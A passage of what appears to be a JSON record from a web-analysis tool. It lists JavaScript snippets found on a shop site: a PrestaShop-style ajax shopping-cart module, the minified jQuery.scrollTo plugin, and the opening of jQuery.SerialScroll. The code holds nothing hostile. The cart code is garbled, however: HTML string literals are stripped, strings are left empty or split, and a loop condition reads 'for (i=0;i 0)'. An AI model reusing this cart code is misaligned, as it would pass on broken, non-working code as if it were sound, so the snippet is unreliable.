'POST',\t\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\t\turl: baseDir + 'modules/blockcart/blockcart-set-collapse.php' + '?rand=' + new Date().getTime(),\t\t\t\tasync: true,\t\t\t\tcache: false,\t\t\t\tdata: 'ajax_blockcart_display=expand',\t\t\t\tcomplete: function(){\t\t\t\t\t$('.block_cart_expand').fadeOut('fast', function(){\t\t\t\t\t\t$('.block_cart_collapse').fadeIn('fast');\t\t\t\t\t});\t\t\t\t}\t\t\t});\t\t}\t},\t// try to collapse the cart\tcollapse : function(){\t\tif ($('.cart_block_list').hasClass('expanded'))\t\t{\t\t\t$('.cart_block_list.expanded').slideUp('slow', function(){\t\t\t\t$(this).addClass('collapsed').removeClass('expanded');\t\t\t});\t\t\t// save the expand statut in the user cookie\t\t\t$.ajax({\t\t\t\ttype: 'POST',\t\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\t\turl: baseDir + 'modules/blockcart/blockcart-set-collapse.php' + '?rand=' + new Date().getTime(),\t\t\t\tasync: true,\t\t\t\tcache: false,\t\t\t\tdata: 'ajax_blockcart_display=collapse' + '&rand=' + new Date().getTime(),\t\t\t\tcomplete: function(){\t\t\t\t\t$('.block_cart_collapse').fadeOut('fast', function(){\t\t\t\t\t\t$('.block_cart_expand').fadeIn('fast');\t\t\t\t\t});\t\t\t\t}\t\t\t});\t\t}\t},\t// Fix display when using back and previous browsers buttons\trefresh : function(){\t\t$.ajax({\t\t\ttype: 'POST',\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\turl: baseUri + '?rand=' + new Date().getTime(),\t\t\tasync: true,\t\t\tcache: false,\t\t\tdataType : \"json\",\t\t\tdata: 'controller=cart&ajax=true&token=' + static_token,\t\t\tsuccess: function(jsonData)\t\t\t{\t\t\t\tajaxCart.updateCart(jsonData);\t\t\t}\t\t});\t},\t// Update the cart information\tupdateCartInformation : function (jsonData, addedFromProductPage){\t\tajaxCart.updateCart(jsonData);\t\t//reactive the button when adding has finished\t\tif (addedFromProductPage)\t\t{\t\t\t$('#add_to_cart button').removeProp('disabled').removeClass('disabled');\t\t\tif (!jsonData.hasError || jsonData.hasError == false)\t\t\t\t$('#add_to_cart button').addClass('added');\t\t\telse\t\t\t\t$('#add_to_cart button').removeClass('added');\t\t}\t\telse\t\t\t$('.ajax_add_to_cart_button').removeProp('disabled');\t},\t// close fancybox\tupdateFancyBox : function (){},\t// add a product in the cart via ajax\tadd : function(idProduct, idCombination, addedFromProductPage, callerElement, quantity, whishlist){\t\tif (addedFromProductPage && !checkCustomizations())\t\t{\t\t\tif (contentOnly)\t\t\t{\t\t\t\tvar productUrl = window.document.location.href + '';\t\t\t\tvar data = productUrl.replace('content_only=1', '');\t\t\t\twindow.parent.document.location.href = data;\t\t\t\treturn;\t\t\t}\t\t\tif (!!$.prototype.fancybox)\t\t\t $.fancybox.open([\t\t\t {\t\t\t type: 'inline',\t\t\t autoScale: true,\t\t\t minHeight: 30,\t\t\t content: '

' + fieldRequired + '

'\t\t\t }\t\t\t ], {\t\t\t padding: 0\t\t\t });\t\t\telse\t\t\t alert(fieldRequired); return;\t\t}\t\t\t\t//disabled the button when adding to not double add if user double click\t\tif (addedFromProductPage)\t\t{\t\t\t$('#add_to_cart button').prop('disabled', 'disabled').addClass('disabled');\t\t\t$('.filled').removeClass('filled');\t\t}\t\telse\t\t\t$(callerElement).prop('disabled', 'disabled');\t\tif ($('.cart_block_list').hasClass('collapsed'))\t\t\tthis.expand();\t\t//send the ajax request to the server\t\t$.ajax({\t\t\ttype: 'POST',\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\turl: baseUri + '?rand=' + new Date().getTime(),\t\t\tasync: true,\t\t\tcache: false,\t\t\tdataType : \"json\",\t\t\tdata: 'controller=cart&add=1&ajax=true&qty=' + ((quantity && quantity != null) ? quantity : '1') + '&id_product=' + idProduct + '&token=' + static_token + ( (parseInt(idCombination) && idCombination != null) ? '&ipa=' + parseInt(idCombination): '' + '&id_customization=' + ((typeof customizationId !== 'undefined') ? customizationId : 0)),\t\t\tsuccess: function(jsonData,textStatus,jqXHR)\t\t\t{\t\t\t\t// add appliance to whishlist module\t\t\t\tif (whishlist && !jsonData.errors)\t\t\t\t\tWishlistAddProductCart(whishlist[0], idProduct, idCombination, whishlist[1]);\t\t\t\tif (!jsonData.hasError)\t\t\t\t{\t\t\t\t\tif (contentOnly)\t\t\t\t\t\twindow.parent.ajaxCart.updateCartInformation(jsonData, addedFromProductPage);\t\t\t\t\telse\t\t\t\t\t\tajaxCart.updateCartInformation(jsonData, addedFromProductPage);\t\t\t\t\tif (jsonData.crossSelling)\t\t\t\t\t\t$('.crossseling').html(jsonData.crossSelling);\t\t\t\t\tif (idCombination)\t\t\t\t\t\t$(jsonData.products).each(function(){\t\t\t\t\t\t\tif (this.id != undefined && this.id == parseInt(idProduct) && this.idCombination == parseInt(idCombination))\t\t\t\t\t\t\t\tif (contentOnly)\t\t\t\t\t\t\t\t\twindow.parent.ajaxCart.updateLayer(this);\t\t\t\t\t\t\t\telse\t\t\t\t\t\t\t\t\tajaxCart.updateLayer(this);\t\t\t\t\t\t});\t\t\t\t\telse\t\t\t\t\t\t$(jsonData.products).each(function(){\t\t\t\t\t\t\tif (this.id != undefined && this.id == parseInt(idProduct))\t\t\t\t\t\t\t\tif (contentOnly)\t\t\t\t\t\t\t\t\twindow.parent.ajaxCart.updateLayer(this);\t\t\t\t\t\t\t\telse\t\t\t\t\t\t\t\t\tajaxCart.updateLayer(this);\t\t\t\t\t\t});\t\t\t\t\tif (contentOnly)\t\t\t\t\t\tparent.$.fancybox.close();\t\t\t\t}\t\t\t\telse\t\t\t\t{\t\t\t\t\tif (contentOnly)\t\t\t\t\t\twindow.parent.ajaxCart.updateCart(jsonData);\t\t\t\t\telse\t\t\t\t\t\tajaxCart.updateCart(jsonData);\t\t\t\t\tif (addedFromProductPage)\t\t\t\t\t\t$('#add_to_cart button').removeProp('disabled').removeClass('disabled');\t\t\t\t\telse\t\t\t\t\t\t$(callerElement).removeProp('disabled');\t\t\t\t} emptyCustomizations();\t\t\t},\t\t\terror: function(XMLHttpRequest, textStatus, errorThrown)\t\t\t{\t\t\t\tvar error = \"Impossible to add the product to the cart.
textStatus: '\" + textStatus + \"'
errorThrown: '\" + errorThrown + \"'
responseText:
\" + XMLHttpRequest.responseText;\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t $.fancybox.open([\t\t\t\t {\t\t\t\t type: 'inline',\t\t\t\t autoScale: true,\t\t\t\t minHeight: 30,\t\t\t\t content: '

' + error + '

'\t\t\t\t }],\t\t\t\t\t{\t\t\t\t padding: 0\t\t\t\t });\t\t\t\telse\t\t\t\t alert(error);\t\t\t\t//reactive the button when adding has finished\t\t\t\tif (addedFromProductPage)\t\t\t\t\t$('#add_to_cart button').removeProp('disabled').removeClass('disabled');\t\t\t\telse\t\t\t\t\t$(callerElement).removeProp('disabled');\t\t\t}\t\t});\t},\t//remove a product from the cart via ajax\tremove : function(idProduct, idCombination, customizationId, idAddressDelivery){\t\t//send the ajax request to the server\t\t$.ajax({\t\t\ttype: 'POST',\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\turl: baseUri + '?rand=' + new Date().getTime(),\t\t\tasync: true,\t\t\tcache: false,\t\t\tdataType : \"json\",\t\t\tdata: 'controller=cart&delete=1&id_product=' + idProduct + '&ipa=' + ((idCombination != null && parseInt(idCombination)) ? idCombination : '') + ((customizationId && customizationId != null) ? '&id_customization=' + customizationId : '') + '&id_address_delivery=' + idAddressDelivery + '&token=' + static_token + '&ajax=true',\t\t\tsuccess: function(jsonData)\t{\t\t\t\tajaxCart.updateCart(jsonData);\t\t\t\tif ($('body').attr('id') == 'order' || $('body').attr('id') == 'order-opc')\t\t\t\t\tdeleteProductFromSummary(idProduct+'_'+idCombination+'_'+customizationId+'_'+idAddressDelivery);\t\t\t},\t\t\terror: function() {\t\t\t\tvar error = 'ERROR: unable to delete the product';\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t{\t\t\t\t $.fancybox.open([\t\t\t\t {\t\t\t\t type: 'inline',\t\t\t\t autoScale: true,\t\t\t\t minHeight: 30,\t\t\t\t content: error\t\t\t\t }\t\t\t\t ], {\t\t\t\t padding: 0\t\t\t\t });\t\t\t\t}\t\t\t\telse\t\t\t\t alert(error); }\t\t});\t},\t//hide the products displayed in the page but no more in the json data\thideOldProducts : function(jsonData){\t\t//delete an eventually removed product of the displayed cart (only if cart is not empty!)\t\tif ($('.cart_block_list:first dl.products').length > 0)\t\t{\t\t\tvar removedProductId = null;\t\t\tvar removedProductData = null;\t\t\tvar removedProductDomId = null;\t\t\t//look for a product to delete...\t\t\t$('.cart_block_list:first dl.products dt').each(function(){\t\t\t\t//retrieve idProduct and idCombination from the displayed product in the block cart\t\t\t\tvar domIdProduct = $(this).data('id');\t\t\t\tvar firstCut = domIdProduct.replace('cart_block_product_', '');\t\t\t\tvar ids = firstCut.split('_');\t\t\t\t//try to know if the current product is still in the new list\t\t\t\tvar stayInTheCart = false;\t\t\t\tfor (aProduct in jsonData.products)\t\t\t\t{\t\t\t\t\t//we've called the variable aProduct because IE6 bug if this variable is called product\t\t\t\t\t//if product has attributes\t\t\t\t\tif (jsonData.products[aProduct]['id'] == ids[0] && (!ids[1] || jsonData.products[aProduct]['idCombination'] == ids[1]))\t\t\t\t\t{\t\t\t\t\t\tstayInTheCart = true;\t\t\t\t\t\t// update the product customization display (when the product is still in the cart)\t\t\t\t\t\tajaxCart.hideOldProductCustomizations(jsonData.products[aProduct], domIdProduct);\t\t\t\t\t}\t\t\t\t}\t\t\t\t//remove product if it's no more in the cart\t\t\t\tif (!stayInTheCart)\t\t\t\t{\t\t\t\t\tremovedProductId = $(this).data('id');\t\t\t\t\tif (removedProductId != null)\t\t\t\t\t{\t\t\t\t\t\tvar firstCut = removedProductId.replace('cart_block_product_', '');\t\t\t\t\t\tvar ids = firstCut.split('_');\t\t\t\t\t\t$('dt[data-id=\"' + removedProductId + '\"]').addClass('strike').fadeTo('slow', 0, function(){\t\t\t\t\t\t\t$(this).slideUp('slow', function(){\t\t\t\t\t\t\t\t$(this).remove();\t\t\t\t\t\t\t\t// If the cart is now empty, show the 'no product in the cart' message and close detail\t\t\t\t\t\t\t\tif($('.cart_block:first dl.products dt').length == 0)\t\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\t\t$('.ajax_cart_quantity').html('0');\t\t\t\t\t\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideUp(200);\t\t\t\t\t\t\t\t\t$('.cart_block_no_products:hidden').slideDown(450);\t\t\t\t\t\t\t\t\t$('.cart_block dl.products').remove();\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\t});\t\t\t\t\t\t});\t\t\t\t\t\t$('dd[data-id=\"cart_block_combination_of_' + ids[0] + (ids[1] ? '_'+ids[1] : '') + (ids[2] ? '_'+ids[2] : '') + '\"]').fadeTo('fast', 0, function(){\t\t\t\t\t\t\t$(this).slideUp('fast', function(){\t\t\t\t\t\t\t\t$(this).remove();\t\t\t\t\t\t\t});\t\t\t\t\t\t});\t\t\t\t\t}\t\t\t\t}\t\t\t});\t\t}\t},\thideOldProductCustomizations : function (product, domIdProduct){\t\tvar customizationList = $('ul[data-id=\"customization_' + product['id'] + '_' + product['idCombination'] + '\"]');\t\tif(customizationList.length > 0)\t\t{\t\t\t$(customizationList).find(\"li\").each(function(){\t\t\t\t$(this).find(\"div\").each(function(){\t\t\t\t\tvar customizationDiv = $(this).data('id');\t\t\t\t\tvar tmp = customizationDiv.replace('deleteCustomizableProduct_', '');\t\t\t\t\tvar ids = tmp.split('_');\t\t\t\t\tif ((parseInt(product.idCombination) == parseInt(ids[2])) && !ajaxCart.doesCustomizationStillExist(product, ids[0]))\t\t\t\t\t\t$('div[data-id=\"' + customizationDiv + '\"]').parent().addClass('strike').fadeTo('slow', 0, function(){\t\t\t\t\t\t\t$(this).slideUp('slow');\t\t\t\t\t\t\t$(this).remove();\t\t\t\t\t\t});\t\t\t\t});\t\t\t});\t\t}\t\tvar removeLinks = $('.deleteCustomizableProduct[data-id=\"' + domIdProduct + '\"]').find('.ajax_cart_block_remove_link');\t\tif (!product.hasCustomizedDatas && !removeLinks.length)\t\t\t$('div[data-id=\"' + domIdProduct + '\"]' + ' span.remove_link').html(' ');\t\tif (product.is_gift)\t\t\t$('div[data-id=\"' + domIdProduct + '\"]' + ' span.remove_link').html('');\t},\tdoesCustomizationStillExist : function (product, customizationId){\t\tvar exists = false;\t\t$(product.customizedDatas).each(function(){\t\t\tif (this.customizationId == customizationId)\t\t\t{\t\t\t\texists = true;\t\t\t\t// This return does not mean that we found nothing but simply break the loop\t\t\t\treturn false;\t\t\t}\t\t});\t\treturn (exists);\t},\t//refresh display of vouchers (needed for vouchers in % of the total)\trefreshVouchers : function (jsonData){\t\tif (typeof(jsonData.discounts) == 'undefined' || jsonData.discounts.length == 0)\t\t\t$('.vouchers').hide();\t\telse\t\t{\t\t\t$('.vouchers tbody').html('');\t\t\tfor (i=0;i 0)\t\t\t\t{\t\t\t\t\tvar delete_link = '';\t\t\t\t\tif (jsonData.discounts[i].code.length)\t\t\t\t\t\tdelete_link = '';\t\t\t\t\t$('.vouchers tbody').append($(\t\t\t\t\t\t'
'\t\t\t\t\t\t+'\t'\t\t\t\t\t\t+'\t'\t\t\t\t\t\t+'\t'\t\t\t\t\t\t+'\t'\t\t\t\t\t\t+''\t\t\t\t\t));\t\t\t\t}\t\t\t}\t\t\t$('.vouchers').show();\t\t}\t},\t// Update product quantity\tupdateProductQuantity : function (product, quantity){\t\t$('dt[data-id=cart_block_product_' + product.id + '_' + (product.idCombination ? product.idCombination : '0')+ '_' + (product.idAddressDelivery ? product.idAddressDelivery : '0') + '] .quantity').fadeTo('fast', 0, function(){\t\t\t$(this).text(quantity);\t\t\t$(this).fadeTo('fast', 1, function(){\t\t\t\t$(this).fadeTo('fast', 0, function(){\t\t\t\t\t$(this).fadeTo('fast', 1, function(){\t\t\t\t\t\t$(this).fadeTo('fast', 0, function(){\t\t\t\t\t\t\t$(this).fadeTo('fast', 1);\t\t\t\t\t\t});\t\t\t\t\t});\t\t\t\t});\t\t\t});\t\t});\t},\t//display the products witch are in json data but not already displayed\tdisplayNewProducts : function(jsonData){\t\t//add every new products or update displaying of every updated products\t\t$(jsonData.products).each(function(){\t\t\t//fix ie6 bug (one more item 'undefined' in IE6)\t\t\tif (this.id != undefined)\t\t\t{\t\t\t\t//create a container for listing the products and hide the 'no product in the cart' message (only if the cart was empty)\t\t\t\tif ($('.cart_block:first dl.products').length == 0)\t\t\t\t{\t\t\t\t\t$('.cart_block_no_products').before('
');\t\t\t\t\t$('.cart_block_no_products').hide();\t\t\t\t}\t\t\t\t//if product is not in the displayed cart, add a new product's line\t\t\t\tvar domIdProduct = this.id + '_' + (this.idCombination ? this.idCombination : '0') + '_' + (this.idAddressDelivery ? this.idAddressDelivery : '0');\t\t\t\tvar domIdProductAttribute = this.id + '_' + (this.idCombination ? this.idCombination : '0');\t\t\t\tif ($('dt[data-id=\"cart_block_product_' + domIdProduct + '\"]').length == 0)\t\t\t\t{\t\t\t\t\tvar productId = parseInt(this.id);\t\t\t\t\tvar productAttributeId = (this.hasAttributes ? parseInt(this.attributes) : 0);\t\t\t\t\tvar content = '
';\t\t\t\t\tvar name = $.trim($('').html(this.name).text());\t\t\t\t\tname = (name.length > 12 ? name.substring(0, 10) + '...' : name);\t\t\t\t\tcontent += '\"'';\t\t\t\t\tcontent += '
' + '' + this.quantity + ' x ' + name + '
';\t\t\t\t\tif (this.hasAttributes)\t\t\t\t\t\t content += '';\t\t\t\t\tif (typeof(freeProductTranslation) != 'undefined')\t\t\t\t\t\tcontent += '' + (parseFloat(this.price_float) > 0 ? this.priceByLine : freeProductTranslation) + '
';\t\t\t\t\tif (typeof(this.is_gift) == 'undefined' || this.is_gift == 0)\t\t\t\t\t\tcontent += ' ';\t\t\t\t\telse\t\t\t\t\t\tcontent += '';\t\t\t\t\tcontent += '
';\t\t\t\t\tif (this.hasAttributes)\t\t\t\t\t\tcontent += '
';\t\t\t\t\tif (this.hasCustomizedDatas)\t\t\t\t\t\tcontent += ajaxCart.displayNewCustomizedDatas(this);\t\t\t\t\tif (this.hasAttributes) content += '
';\t\t\t\t\t$('.cart_block dl.products').append(content);\t\t\t\t}\t\t\t\t//else update the product's line\t\t\t\telse\t\t\t\t{\t\t\t\t\tvar jsonProduct = this;\t\t\t\t\tif($.trim($('dt[data-id=\"cart_block_product_' + domIdProduct + '\"] .quantity').html()) != jsonProduct.quantity || $.trim($('dt[data-id=\"cart_block_product_' + domIdProduct + '\"] .price').html()) != jsonProduct.priceByLine)\t\t\t\t\t{\t\t\t\t\t\t// Usual product\t\t\t\t\t\tif (!this.is_gift)\t\t\t\t\t\t\t$('dt[data-id=\"cart_block_product_' + domIdProduct + '\"] .price').text(jsonProduct.priceByLine);\t\t\t\t\t\telse\t\t\t\t\t\t\t$('dt[data-id=\"cart_block_product_' + domIdProduct + '\"] .price').html(freeProductTranslation);\t\t\t\t\t\tajaxCart.updateProductQuantity(jsonProduct, jsonProduct.quantity);\t\t\t\t\t\t// Customized product\t\t\t\t\t\tif (jsonProduct.hasCustomizedDatas)\t\t\t\t\t\t{\t\t\t\t\t\t\tcustomizationFormatedDatas = ajaxCart.displayNewCustomizedDatas(jsonProduct);\t\t\t\t\t\t\tif (!$('ul[data-id=\"customization_' + domIdProductAttribute + '\"]').length)\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\tif (jsonProduct.hasAttributes)\t\t\t\t\t\t\t\t\t$('dd[data-id=\"cart_block_combination_of_' + domIdProduct + '\"]').append(customizationFormatedDatas);\t\t\t\t\t\t\t\telse\t\t\t\t\t\t\t\t\t$('.cart_block dl.products').append(customizationFormatedDatas);\t\t\t\t\t\t\t}\t\t\t\t\t\t\telse\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\t$('ul[data-id=\"customization_' + domIdProductAttribute + '\"]').html('');\t\t\t\t\t\t\t\t$('ul[data-id=\"customization_' + domIdProductAttribute + '\"]').append(customizationFormatedDatas);\t\t\t\t\t\t\t}\t\t\t\t\t\t}\t\t\t\t\t}\t\t\t\t}\t\t\t\t$('.cart_block dl.products .unvisible').slideDown(450).removeClass('unvisible');\t\t\tvar removeLinks = $('dt[data-id=\"cart_block_product_' + domIdProduct + '\"]').find('a.ajax_cart_block_remove_link');\t\t\tif (this.hasCustomizedDatas && removeLinks.length)\t\t\t\t$(removeLinks).each(function(){\t\t\t\t\t$(this).remove();\t\t\t\t});\t\t\t}\t\t});\t},\tdisplayNewCustomizedDatas : function(product){\t\tvar content = '';\t\tvar productId = parseInt(product.id);\t\tvar productAttributeId = typeof(product.idCombination) == 'undefined' ? 0 : parseInt(product.idCombination);\t\tvar hasAlreadyCustomizations = $('ul[data-id=\"customization_' + productId + '_' + productAttributeId + '\"]').length;\t\tif (!hasAlreadyCustomizations)\t\t{\t\t\tif (!product.hasAttributes)\t\t\t\tcontent += '
';\t\t\tif ($('ul[data-id=\"customization_' + productId + '_' + productAttributeId + '\"]').val() == undefined)\t\t\t\tcontent += '
    ';\t\t}\t\t$(product.customizedDatas).each(function(){\t\t\tvar done = 0;\t\t\tcustomizationId = parseInt(this.customizationId);\t\t\tproductAttributeId = typeof(product.idCombination) == 'undefined' ? 0 : parseInt(product.idCombination);\t\t\tcontent += '
  • ';\t\t\t// Give to the customized product the first textfield value as name\t\t\t$(this.datas).each(function(){\t\t\t\tif (this['type'] == CUSTOMIZE_TEXTFIELD)\t\t\t\t{\t\t\t\t\t$(this.datas).each(function(){\t\t\t\t\t\tif (this['index'] == 0)\t\t\t\t\t\t{\t\t\t\t\t\t\tcontent += ' ' + this.truncatedValue.replace(/
    /g, ' ');\t\t\t\t\t\t\tdone = 1;\t\t\t\t\t\t\treturn false;\t\t\t\t\t\t}\t\t\t\t\t})\t\t\t\t}\t\t\t});\t\t\t// If the customized product did not have any textfield, it will have the customizationId as name\t\t\tif (!done)\t\t\t\tcontent += customizationIdMessage + customizationId;\t\t\tif (!hasAlreadyCustomizations) content += '
  • ';\t\t\t// Field cleaning\t\t\tif (customizationId)\t\t\t{\t\t\t\t$('#uploadable_files li div.customizationUploadBrowse img').remove();\t\t\t\t$('#text_fields input').attr('value', '');\t\t\t}\t\t});\t\tif (!hasAlreadyCustomizations)\t\t{\t\t\tcontent += '
';\t\t\tif (!product.hasAttributes) content += '
';\t\t}\t\treturn (content);\t},\tupdateLayer : function(product){\t\t$('#layer_cart_product_title').text(product.name);\t\t$('#layer_cart_product_attributes').text('');\t\tif (product.hasAttributes && product.hasAttributes == true)\t\t\t$('#layer_cart_product_attributes').html(product.attributes);\t\t$('#layer_cart_product_price').text(product.price);\t\t$('#layer_cart_product_quantity').text(product.quantity);\t\t$('.layer_cart_img').html('\"'');\t\tvar n = parseInt($(window).scrollTop()) + 'px';\t\t$('.layer_cart_overlay').css('width','100%');\t\t$('.layer_cart_overlay').css('height','100%');\t\t$('.layer_cart_overlay').show(); if($(window).width() > 1199) { $('#layer_cart').css({'top': 150 +'px'}).fadeIn('fast'); } else { \t\t$('#layer_cart').css({'top': n}).fadeIn('fast'); }\t\tcrossselling_serialScroll();\t},\t//genarally update the display of the cart\tupdateCart : function(jsonData){\t\t//user errors display\t\tif (jsonData.hasError)\t\t{\t\t\tvar errors = '';\t\t\tfor (error in jsonData.errors)\t\t\t\t//IE6 bug fix\t\t\t\tif (error != 'indexOf')\t\t\t\t\terrors += $('
').html(jsonData.errors[error]).text() + \"\\n\";\t\t\tif (!!$.prototype.fancybox)\t\t\t $.fancybox.open([\t\t\t {\t\t\t type: 'inline',\t\t\t autoScale: true,\t\t\t minHeight: 30,\t\t\t content: '

' + errors + '

'\t\t\t }\t\t\t ], {\t\t\t padding: 0\t\t\t });\t\t\telse\t\t\t alert(errors);\t\t}\t\telse\t\t{\t\t\tajaxCart.updateCartEverywhere(jsonData);\t\t\tajaxCart.hideOldProducts(jsonData);\t\t\tajaxCart.displayNewProducts(jsonData);\t\t\tajaxCart.refreshVouchers(jsonData);\t\t\t//update 'first' and 'last' item classes\t\t\t$('.cart_block .products dt').removeClass('first_item').removeClass('last_item').removeClass('item');\t\t\t$('.cart_block .products dt:first').addClass('first_item');\t\t\t$('.cart_block .products dt:not(:first,:last)').addClass('item');\t\t\t$('.cart_block .products dt:last').addClass('last_item');\t\t}\t},\t//update general cart informations everywhere in the page\tupdateCartEverywhere : function(jsonData){\t\t$('.ajax_cart_total').text($.trim(jsonData.productTotal));\t\tif (typeof hasDeliveryAddress == 'undefined')\t\t\thasDeliveryAddress = false;\t\tif (parseFloat(jsonData.shippingCostFloat) > 0)\t\t\t$('.ajax_cart_shipping_cost').text(jsonData.shippingCost).parent().find('.unvisible').show();\t\telse if ((hasDeliveryAddress || typeof(orderProcess) !== 'undefined' && orderProcess == 'order-opc') && typeof(freeShippingTranslation) != 'undefined')\t\t\t$('.ajax_cart_shipping_cost').html(freeShippingTranslation);\t\telse if (!hasDeliveryAddress)\t\t\t$('.ajax_cart_shipping_cost').html(toBeDetermined);\t\tif (hasDeliveryAddress)\t\t\t$('.ajax_cart_shipping_cost').parent().find('.unvisible').show();\t\t$('.ajax_cart_tax_cost').text(jsonData.taxCost);\t\t$('.cart_block_wrapping_cost').text(jsonData.wrappingCost);\t\t$('.ajax_block_cart_total').text(jsonData.total);\t\t$('.ajax_block_products_total').text(jsonData.productTotal); $('.ajax_total_price_wt').text(jsonData.total_price_wt);\t\tif (parseFloat(jsonData.freeShippingFloat) > 0)\t\t{\t\t\t$('.ajax_cart_free_shipping').html(jsonData.freeShipping);\t\t\t$('.freeshipping').fadeIn(0);\t\t}\t\telse if (parseFloat(jsonData.freeShippingFloat) == 0)\t\t\t$('.freeshipping').fadeOut(0);\t\tthis.nb_total_products = jsonData.nbTotalProducts;\t\tif (parseInt(jsonData.nbTotalProducts) > 0)\t\t{\t\t\t$('.ajax_cart_no_product').hide();\t\t\t$('.ajax_cart_quantity').text(jsonData.nbTotalProducts);\t\t\t$('.ajax_cart_quantity').fadeIn('slow');\t\t\t$('.ajax_cart_total').fadeIn('slow');\t\t\tif (parseInt(jsonData.nbTotalProducts) > 1)\t\t\t{\t\t\t\t$('.ajax_cart_product_txt').each( function (){\t\t\t\t\t$(this).hide();\t\t\t\t});\t\t\t\t$('.ajax_cart_product_txt_s').each( function (){\t\t\t\t\t$(this).show();\t\t\t\t});\t\t\t}\t\t\telse\t\t\t{\t\t\t\t$('.ajax_cart_product_txt').each( function (){\t\t\t\t\t$(this).show();\t\t\t\t});\t\t\t\t$('.ajax_cart_product_txt_s').each( function (){\t\t\t\t\t$(this).hide();\t\t\t\t});\t\t\t}\t\t}\t\telse\t\t{\t\t\t$('.ajax_cart_quantity, .ajax_cart_product_txt_s, .ajax_cart_product_txt, .ajax_cart_total').each(function(){\t\t\t\t$(this).hide();\t\t\t});\t\t\t$('.ajax_cart_no_product').show();\t\t}\t}};function HoverWatcher(selector){\tthis.hovering = false;\tvar self = this;\tthis.isHoveringOver = function(){\t\treturn self.hovering;\t}\t$(selector).hover(function(){\t\tself.hovering = true;\t}, function(){\t\tself.hovering = false;\t})}function crossselling_serialScroll(){\tif (!!$.prototype.bxSlider)\t\t$('#blockcart_caroucel').bxSlider({\t\t\tminSlides: 2,\t\t\tmaxSlides: 4,\t\t\tslideWidth: 178,\t\t\tslideMargin: 20,\t\t\tmoveSlides: 1,\t\t\tinfiniteLoop: false,\t \t\thideControlOnEnd: true,\t\t\tpager: false\t\t});}", "relationship": "External", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/** * Copyright (c) 2007-2014 Ariel Flesler - afleslergmailcom | http://flesler.blogspot.com * Licensed under MIT * @author Ariel Flesler * @version 1.4.14 */;(function(k){'use strict';k(['jquery'],function($){var j=$.scrollTo=function(a,b,c){return $(window).scrollTo(a,b,c)};j.defaults={axis:'xy',duration:0,limit:!0};j.window=function(a){return $(window)._scrollable()};$.fn._scrollable=function(){return this.map(function(){var a=this,isWin=!a.nodeName||$.inArray(a.nodeName.toLowerCase(),['iframe','#document','html','body'])!=-1;if(!isWin)return a;var b=(a.contentWindow||a).document||a.ownerDocument||a;return/webkit/i.test(navigator.userAgent)||b.compatMode=='BackCompat'?b.body:b.documentElement})};$.fn.scrollTo=function(f,g,h){if(typeof g=='object'){h=g;g=0}if(typeof h=='function')h={onAfter:h};if(f=='max')f=9e9;h=$.extend({},j.defaults,h);g=g||h.duration;h.queue=h.queue&&h.axis.length>1;if(h.queue)g/=2;h.offset=both(h.offset);h.over=both(h.over);return this._scrollable().each(function(){if(f==null)return;var d=this,$elem=$(d),targ=f,toff,attr={},win=$elem.is('html,body');switch(typeof targ){case'number':case'string':if(/^([+-]=?)?\\d+(\\.\\d+)?(px|%)?$/.test(targ)){targ=both(targ);break}targ=win?$(targ):$(targ,this);if(!targ.length)return;case'object':if(targ.is||targ.style)toff=(targ=$(targ)).offset()}var e=$.isFunction(h.offset)&&h.offset(d,targ)||h.offset;$.each(h.axis.split(''),function(i,a){var b=a=='x'?'Left':'Top',pos=b.toLowerCase(),key='scroll'+b,old=d[key],max=j.max(d,a);if(toff){attr[key]=toff[pos]+(win?0:old-$elem.offset()[pos]);if(h.margin){attr[key]-=parseInt(targ.css('margin'+b))||0;attr[key]-=parseInt(targ.css('border'+b+'Width'))||0}attr[key]+=e[pos]||0;if(h.over[pos])attr[key]+=targ[a=='x'?'width':'height']()*h.over[pos]}else{var c=targ[pos];attr[key]=c.slice&&c.slice(-1)=='%'?parseFloat(c)/100*max:c}if(h.limit&&/^\\d+$/.test(attr[key]))attr[key]=attr[key]<=0?0:Math.min(attr[key],max);if(!i&&h.queue){if(old!=attr[key])animate(h.onAfterFirst);delete attr[key]}});animate(h.onAfter);function animate(a){$elem.animate(attr,g,h.easing,a&&function(){a.call(this,targ,h)})}}).end()};j.max=function(a,b){var c=b=='x'?'Width':'Height',scroll='scroll'+c;if(!$(a).is('html,body'))return a[scroll]-$(a)[c.toLowerCase()]();var d='client'+c,html=a.ownerDocument.documentElement,body=a.ownerDocument.body;return Math.max(html[scroll],body[scroll])-Math.min(html[d],body[d])};function both(a){return $.isFunction(a)||$.isPlainObject(a)?a:{top:a,left:a}}return j})}(typeof define==='function'&&define.amd?define:function(a,b){if(typeof module!=='undefined'&&module.exports){module.exports=b(require('jquery'))}else{b(jQuery)}}));", "relationship": "External", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/* * jQuery.SerialScroll - Animated scrolling of series * Copyright (c) 2007-2009 Ariel Flesler - aflesler(at)gmail(dot)com | http://flesler.blogspot.com * Dual licensed under MIT and GPL. * Date: 06/14/2009 * @author Ariel Flesler * @version 1.2.2 * http://flesler.blogspot.com/2008/02/jqueryserialscroll.html */;(function(a){var b=a.serialScroll=function(c){return a(window).serialScroll(c)};b.defaults={duration:1e3,axis:\"x\",event:\"click\",start:0,step:1,lock:!0,cycle:!0,constant:!0};a.fn.serialScroll=function(c){return this.each(function(){var 